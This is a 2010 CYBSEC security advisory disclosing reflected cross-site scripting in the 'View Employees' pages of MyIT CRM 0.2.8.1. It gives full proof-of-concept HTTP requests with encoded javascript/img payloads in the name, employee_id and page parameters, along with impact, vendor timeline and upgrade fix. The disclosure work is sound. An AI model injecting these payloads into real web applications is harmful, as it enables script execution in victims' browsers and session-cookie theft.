Advisory Name: Multiple Cross-Site Scripting (XSS) in MyIT CRM

Internal Cybsec Advisory Id: 2010-0607-Multiple XSSs in MyIT CRM

Vulnerability Class: Reflected Cross-Site Scripting (XSS)

Release Date: Tue Jun 22, 2010

Affected Applications: MyIT CRM ver.0.2.8.1

Affected Platforms: Any running MyIT CRM ver.0.2.8.1

Local / Remote: Remote

Severity: Medium – CVSS: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N)

Researcher: Juan Manuel García

Vendor Status: Acknowedged/Will be Fixed in MyIT CRM v0.2.9.0

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:
Multiple Reflected Cross Site Scripting vulnerabilities were found in MyIT CRM ver.0.2.8.1 web console, because the application fails to sanitize user-supplied input. The vulnerabilities can be triggered by any logged-in user who is able to access the "View Employees" functionality.

Parameters name, employee_id, and page are not properly sanitized.
Other parameters might also be affected.

Proof of Concept:

http://XXX.XXX.XXX.XXX/index.php?page=employees:main&page_title=View%20Employees

* The parameter 'name' in the POST request has been set to:
>"'><img%20src%3D%26%23x6a;
%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(36078)>

POST /?page=employees:main HTTP/1.0
Cookie: PHPSESSID=5460a3d8ab4f72cc624e1a6744f5ecfd
Content-Length: 159
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

Host: demo.myitcrm.com
Content-Type: application/x-www-form-urlencoded
Referer: http://demo.myitcrm.com/index.php?page=employees:main&page_title=View%20Employees

name=>"'><img%20src%3D%26%23x6a;
%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%2
3x70;%26%23x74;%26%23x3a;alert(36078)>&submit=Search

* The parameter 'employee_id' in the GET request has been set to:
>"'><img%20src%3D%26%23x6a;
%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(55255)>

GET /?page=employees:employee_details&employee_id=>"'><img%20src%3D%26%23x6a;
%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%2
3x70;%26%23x74;%26%23x3a;alert(55255)> HTTP/1.0
Cookie: PHPSESSID=4b54d326030a5967e44f5719747a7c86
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: demo.myitcrm.com
Referer: http://demo.myitcrm.com/?page=employees:main

* The parameter 'page' in the POST request has been set to:
>%22%27><img%20src%3d%22javascript:alert(35665)%22>

POST /?page=>%22%27><img%20src%3d%22javascript:alert(35665)%22> HTTP/1.0
Cookie: PHPSESSID=b639ec20245375dcf4b1c3f25dfdf20f
Content-Length: 19
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: demo.myitcrm.com
Content-Type: application/x-www-form-urlencoded
Referer: http://demo.myitcrm.com/index.php?page=employees:main&page_title=View%20Employees

name=&submit=Search

Impact:
An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application.

Solution:
Upgrade to MyIT CRM v0.2.9.0

Vendor Response:

2010-06-22 – Vulnerability was identified

2010-06-23 – Vendor contacted

2010-06-30 – Vendor made some changes with the purpose of sanitize the inputs

2010-07-01 – It is confirmed that the bug was not repaired and the vendor was contacted again

2010-07-19 – Vendor says the bug will be fixed in MyIT CRM v0.2.9.0

2010-08-02 – Vulnerability published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
jmgarcia <at> cybsec <dot> com

About CYBSEC S.A. Security Systems

Since 1996, **CYBSEC** is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com